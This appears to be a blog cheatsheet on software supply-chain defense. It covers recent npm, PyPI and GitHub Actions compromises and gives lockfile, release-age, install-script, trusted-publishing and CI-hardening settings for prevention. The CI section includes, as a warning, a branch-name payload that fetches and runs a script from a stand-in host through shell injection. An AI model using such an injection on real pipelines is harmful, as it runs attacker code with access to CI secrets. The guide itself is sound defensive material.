Most of the code you ship was written by someone you have never met. A typical Python service pulls in dozens of packages; a typical frontend pulls in hundreds. Each one is a path into your build machine, your CI secrets and your production servers, and attackers have noticed.

The last eighteen months made this concrete. In September 2025 a phished maintainer account pushed malicious versions of chalk, debug and other npm packages with billions of weekly downloads combined. Days later the Shai-Hulud worm started stealing tokens and republishing itself into every package its victims could publish. In November its second wave ran at install time, before any of your code executed. On the Python side, ultralytics shipped a cryptominer through its own release pipeline in December 2024.

The good news: the defenses are now mostly configuration, not heroics. Registries removed long-lived tokens, package managers added release-age gates, and trusted publishing is a few lines of YAML. This post is the cheatsheet: what the attacks look like, and the exact settings that make them miss you.

1. The vocabulary

Term Meaning Why it matters
Direct dependency A package you list in pyproject.toml or package.json The part you chose. Usually a small fraction of what you install.
Transitive dependency A dependency of a dependency Most of your tree, and most of your risk. You never reviewed it.
Lockfile A file recording the exact resolved version (and usually hash) of every package Makes installs reproducible. Without it, every install can pull something new.
Integrity hash A cryptographic hash of the package file, checked at install Stops a tampered file with the same version number from installing.
Lifecycle / install script Code a package runs during install (preinstall, postinstall; setup.py for Python source builds) Runs with your user's permissions before you import anything. The favorite worm entry point.
Account takeover An attacker gets a maintainer's credentials and publishes a malicious version The package is legitimate, the version is not. Name checks do not help.
Typosquatting Publishing reqeusts or crossenv hoping for typos Also applies to package names suggested by AI assistants that do not exist yet.
Dependency confusion Publishing a public package with the same name as your private one Misconfigured resolvers pick the public one, often the higher version.
Dependency cooldown / release-age gate Refusing to install versions published less than N days ago Most malicious versions are found and removed within hours or days.
Trusted publishing Publishing from CI with a short-lived OIDC token instead of a stored API token No long-lived secret to steal.
Provenance / attestation A signed statement linking a package file to the source commit and build that produced it Lets consumers check where a package came from.
SBOM Software Bill of Materials: a machine-readable list of components (CycloneDX or SPDX) Answers "are we affected?" in minutes instead of days.
SLSA Supply-chain Levels for Software Artifacts: a framework of build integrity levels A shared language for "how trustworthy is this build".

2. How the recent attacks actually worked

Every defense below maps to at least one of these. Learn the pattern, not the incident.

Incident Date Entry point What would have helped
ultralytics (PyPI) December 2024 GitHub Actions pull_request_target workflow with template injection via a branch name; malicious versions published from the project's own pipeline, then more with a stolen token Hardened CI triggers, no long-lived publish token, cooldown for consumers
tj-actions/changed-files (GitHub Actions) March 2025 Attacker repointed version tags of a popular action to a malicious commit that dumped CI secrets into logs Pinning actions to a full commit SHA, least-privilege tokens
chalk, debug and other popular packages (npm) September 2025 Maintainer phished through a fake "2FA reset" email from npmjs.help; attacker captured password and TOTP code Phishing-resistant 2FA (WebAuthn), cooldown for consumers
Shai-Hulud (npm) September 2025 Self-replicating worm: stole npm and cloud tokens on install, then published infected versions of every package the victim maintained. GitHub removed 500+ packages No long-lived tokens, install scripts off, cooldown
Shai-Hulud 2.0 (npm) November 2025 Same idea, moved to preinstall, so it ran even if the install later failed. Hundreds of packages and tens of thousands of GitHub repositories affected All of the above, plus not having secrets on developer machines and CI runners

Three lessons repeat across all five:

  • The package was real. These were not typosquats. The maintainers were legitimate and the packages were popular. Allowlisting "known good" names would not have helped.
  • Speed is the attacker's advantage. Malicious versions were live for hours, not months. Anything that delays adoption of brand-new versions removes most of the risk.
  • Tokens are the prize. Every incident either started with a stolen credential or tried to steal more. Shorter-lived, narrower credentials shrink the blast radius.

3. Pin everything: lockfiles and hashes

A lockfile turns "whatever is newest today" into "exactly what we tested". Commit it, install from it in CI, and fail the build if it is out of date.

Ecosystem Lockfile Install from the lockfile only
npm package-lock.json npm ci (fails if package.json and the lock disagree)
pnpm pnpm-lock.yaml pnpm install --frozen-lockfile (the default in CI)
Yarn (Berry) yarn.lock yarn install --immutable
uv uv.lock (hashes included) uv sync --locked
pip requirements.txt with --hash lines, or pylock.toml (PEP 751) pip install --require-hashes -r requirements.txt

For plain pip projects, generate a hashed requirements file and make pip refuse anything else:

# Generate pinned requirements with hashes from your direct dependencies
uv pip compile requirements.in --generate-hashes -o requirements.txt

# Install exactly those files, wheels only (no setup.py execution)
pip install --require-hashes --only-binary :all: -r requirements.txt

Notes:

  • --require-hashes fails if any package, including transitive ones, lacks a hash. That is the point.
  • --only-binary :all: refuses source distributions, so no package-provided build code runs at install time. Some packages only ship sdists; allow those explicitly with --no-binary <name> after reviewing them.
  • PEP 751 (accepted 2025) standardizes pylock.toml as a tool-neutral Python lockfile. pip has an experimental pip lock command since 25.1. If you are already on uv, uv.lock gives you the same guarantees today.

4. Wait before you upgrade: dependency cooldowns

A cooldown is the single highest-value setting added in the last year. It tells the resolver to ignore versions younger than a threshold, so a malicious release that gets pulled within a day or two never reaches you.

Tool Setting Unit Available since
npm min-release-age in .npmrc days npm 11.10.0 (February 2026)
pnpm minimumReleaseAge in pnpm-workspace.yaml, exceptions in minimumReleaseAgeExclude minutes pnpm 10.16 (September 2025)
Yarn npmMinimalAgeGate in .yarnrc.yml, exceptions in npmPreapprovedPackages duration Yarn 4.10 (September 2025)
uv exclude-newer = "7 days" (relative durations) duration uv 0.9.17 (December 2025); absolute dates work on older versions
pip --uploaded-prior-to <timestamp> absolute date/time pip 26.0 (January 2026)

Minimal configs:

# .npmrc (npm 11.10+)
min-release-age=7
ignore-scripts=true
# pnpm-workspace.yaml (pnpm 10.26+ for every key below)
minimumReleaseAge: 10080        # 7 days, in minutes
minimumReleaseAgeExclude:
  - "@acme/*"                   # your own packages, released on your schedule
trustPolicy: no-downgrade       # fail if a version has weaker provenance than earlier ones
blockExoticSubdeps: true        # transitive deps may not come from git URLs or tarballs
allowBuilds:
  esbuild: true                 # the only dependency allowed to run a build script
# pyproject.toml (uv 0.9.17+)
[tool.uv]
exclude-newer = "7 days"
# pip 26.0+: resolve as if it were a fixed date (exclusive upper bound)
pip install --uploaded-prior-to "2026-04-08T00:00:00Z" -r requirements.in

How long to wait:

Window Trade-off
1 day Catches the fastest takedowns (the chalk and debug versions were reverted within hours). Minimal friction.
3-7 days Covers most worm waves and the time it takes security vendors to flag them. A good default for most teams.
14+ days Strong protection, but you will need a documented bypass for urgent security patches.

The one rule that makes cooldowns safe: have an exception path for security fixes. When a CVE fix ships today, add that package to the exclude list (or pin the version explicitly), merge, and remove the exception afterwards. Write this down before you need it.

5. Turn off install-time code

Shai-Hulud 2.0 ran in preinstall. If install scripts do not run, that entire class of payload does nothing at install time. It can still run when the code is imported, so this narrows the window rather than closing it.

Tool Default How to lock it down
npm Runs all lifecycle scripts ignore-scripts=true in .npmrc, then run the few you need explicitly (npm rebuild <pkg>)
pnpm 10+ Does not run dependency build scripts unless allowlisted (since 10.0, January 2025) Keep the allowlist (allowBuilds, or onlyBuiltDependencies on older 10.x) short and reviewed
Yarn (Berry) Runs scripts enableScripts: false in .yarnrc.yml
pip Builds sdists by running their build backend --only-binary :all:
uv Builds sdists when no wheel exists --no-build (or no-build = true in [tool.uv])

What breaks: native modules and tools that download binaries on install (esbuild, sharp, some database drivers, Playwright browsers). That list is usually short. Allowlist those few packages by name, review them when they update, and leave scripts off for everything else.

6. Publishing: remove the tokens worth stealing

If you maintain packages, your release credentials are what attackers want. Both registries now support publishing from CI without any stored token.

Registry What changed Practical effect
PyPI Trusted publishing (OIDC) since 2023; PEP 740 digital attestations generally available since November 2024 The official GitHub Action publishes with a short-lived token and generates attestations by default
npm Trusted publishing (OIDC) generally available July 2025. After Shai-Hulud, GitHub announced shorter token lifetimes, mandatory 2FA for local publishing and a move from TOTP to WebAuthn. Classic tokens stopped working on December 9, 2025; npm login now gives a two-hour session Long-lived "automation" tokens are gone. CI should use trusted publishing; humans should use security keys

PyPI with GitHub Actions (configure the trusted publisher on PyPI first, matching repository, workflow file and environment):

# .github/workflows/release.yml
name: release
on:
  release:
    types: [published]

permissions: {}                       # nothing by default

jobs:
  pypi:
    runs-on: ubuntu-latest
    environment: pypi                 # require manual approval on this environment
    permissions:
      id-token: write                 # OIDC token for trusted publishing
      contents: read
    steps:
      - uses: actions/checkout@<full-commit-sha>        # pin by SHA, see section 7
      - uses: astral-sh/setup-uv@<full-commit-sha>
      - run: uv build
      - uses: pypa/gh-action-pypi-publish@<full-commit-sha>
        # no password or token: OIDC + attestations by default

npm is the same shape: give the job id-token: write, configure the trusted publisher on npmjs.com, and run npm publish with npm CLI 11.5.1+ on Node 22.14.0+. Provenance is attached automatically when publishing this way. Once it works, set the package to disallow token-based publishing.

Maintainer checklist:

  • Security keys, not codes. The chalk phish captured a TOTP code in real time. A WebAuthn key bound to npmjs.com would not have worked on npmjs.help.
  • Separate the release job. Build and test in one job, publish in another with the only id-token: write permission, behind a protected environment.
  • Never publish from a laptop if CI can do it. Laptops run npm install all day.
  • Audit who can publish. Remove former maintainers and unused tokens. Fewer accounts, fewer phishing targets.

7. CI hardening: the pipeline is part of the supply chain

Two of the five incidents above started in GitHub Actions, not in a registry.

Practice Why How
Pin third-party actions to a full commit SHA Tags can be moved; tj-actions proved it. A SHA cannot uses: owner/action@<40-char-sha> # v4.2.0. Since August 2025, GitHub's allowed-actions policy can require SHA pinning and block specific actions
Default to read-only tokens Limits what a compromised step can do permissions: {} at the top, grant per job
Avoid pull_request_target with checkout of PR code Runs untrusted code with your secrets: the ultralytics entry point Use pull_request; if you must use the target trigger, never check out or execute the PR head
Never interpolate untrusted input into run: ${{ github.head_ref }} in a shell line is template injection Pass it through env: and quote it as a shell variable
Short-lived cloud credentials Stolen static keys outlive the incident OIDC federation to AWS, GCP or Azure instead of stored keys
Let bots update pins, with a cooldown SHA pins without updates rot Dependabot or Renovate can both delay new versions; match the delay to your package-manager cooldown
Lint workflows Catches the mistakes above automatically Static analyzers for GitHub Actions workflows (zizmor, actionlint)

The injection fix, side by side:

# Vulnerable: a branch named $(curl evil.sh|sh) runs in your shell
- run: echo "Building ${{ github.head_ref }}"

# Safe: the value is data, not code
- env:
    HEAD_REF: ${{ github.head_ref }}
  run: echo "Building $HEAD_REF"

8. Verify and inventory what you consume

Prevention reduces risk; inventory tells you whether an incident affects you.

Task npm / pnpm Python
Known vulnerabilities npm audit, pnpm audit pip-audit, or uv export piped to pip-audit
Cross-ecosystem scan osv-scanner scan source -r . (reads lockfiles from both, queries OSV.dev) Same
Registry signatures and provenance npm audit signatures Attestations visible on PyPI and verifiable through PyPI's integrity API
SBOM npm sbom --sbom-format cyclonedx cyclonedx-py (CycloneDX) or an SPDX generator
Project health of a new dependency OpenSSF Scorecard (maintenance, branch protection, signed releases) Same

A quick "are we affected?" routine when a new incident is announced:

# 1. Is the package anywhere in the tree, at a bad version?
npm ls chalk --all          # npm
pnpm why chalk              # pnpm
uv tree --invert --package requests   # uv: who pulls this in

# 2. Did CI or a laptop install it during the window? Check lockfile history.
git log -p --since="2025-09-08" -- package-lock.json | grep -n '"chalk"' | head

# 3. Scan lockfiles against OSV
osv-scanner scan source -r .

If the answer is yes, the order matters: isolate, rotate, then clean. Assume every token on the affected machine or runner is stolen (npm, PyPI, GitHub, cloud), revoke them first, then remove the package, clear caches (npm cache clean --force, uv cache clean) and reinstall from a known-good lockfile.

9. A baseline you can adopt this week

Priority Action Effort
1 Commit lockfiles; install with npm ci / --frozen-lockfile / uv sync --locked in CI Minutes
2 Add a 3-7 day cooldown in every package manager, with a written exception process Minutes
3 Turn off install scripts (npm, Yarn) or keep the pnpm allowlist short; prefer wheels in Python An afternoon to find what breaks
4 Pin GitHub Actions to SHAs; set permissions: {} by default An afternoon, then let a bot maintain it
5 Move every package you publish to trusted publishing; use security keys for registry accounts An hour per package
6 Run OSV-Scanner or pip-audit / npm audit in CI; generate an SBOM per release An hour
7 Keep secrets off developer machines where possible; use short-lived credentials everywhere Ongoing

If your products are sold in the EU, the Cyber Resilience Act adds a regulatory reason: manufacturers must report actively exploited vulnerabilities from September 11, 2026, and the full requirements, including documenting components, apply from December 11, 2027. An SBOM and a patch process are much easier to build before a deadline than during one.

Why this matters

  • The attacks are fast; your defense can be slow on purpose. A few days of cooldown removes most of the exposure to compromised releases at almost no cost.
  • Install time is execution time. Lifecycle scripts and source builds run arbitrary code before your tests do. Turn them off by default.
  • Credentials are the real target. Trusted publishing, two-hour sessions and security keys turn a stolen laptop token from a catastrophe into a non-event.
  • CI is part of your supply chain. A mutable tag or an injected branch name is as dangerous as a malicious package.
  • Inventory makes incidents boring. With lockfiles, an SBOM and a scanner, "are we affected?" is a five-minute query, not a week of guessing.

Final Thoughts

None of the settings in this cheatsheet are exotic. Lockfiles, cooldowns, script controls and trusted publishing are built into the tools you already use, and most take one line of configuration. The incidents of 2025 were damaging mainly because these defaults were off.

Start with the two cheapest wins, a committed lockfile and a release-age gate, then work down the list. You will not stop every attack, but you will stop being the easy target that a worm reaches in its first hour.

Sources